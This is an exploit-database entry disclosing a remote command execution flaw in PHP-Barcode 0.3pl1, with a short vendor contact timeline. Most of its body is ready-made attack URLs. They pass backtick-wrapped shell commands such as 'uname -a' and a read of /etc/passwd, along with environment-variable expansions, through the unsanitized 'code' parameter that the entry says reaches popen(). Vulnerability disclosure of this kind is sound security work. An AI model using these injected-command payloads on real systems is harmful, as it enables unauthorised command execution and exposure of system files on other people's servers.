PHP-Barcode 0.3pl1 - Remote Code Execution

Author: beford
type: webapps
platform: php
port: 
date_added: 2011-07-26 
date_updated: 2011-07-26 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphp-barcode-0.3pl1.tar.gz

PHP-Barcode 0.3pl1 Remote Code Execution

The input passed to the code parameter is not sanitized and is used on
a popen() function. This allows remote command execution and also
allows to see environment vars:

Windows

http://www.site.com/php-barcode/barcode.php?code=%TMP%

Linux

http://www.site.com/php-barcode/barcode.php?code=012$PATH$d
http://www.site.com/php-barcode/barcode.php?code=`uname%20-a`
http://www.site.com/php-barcode/barcode.php?code=`tail%20-1%20/etc/passwd`

Vendor:
  http://www.ashberg.de/php-barcode/download/

Vendor informed:
  July  6 / 2011

Vendor acknowledgement:
  July 7 / 2011

Fix not available from vendor.

- beford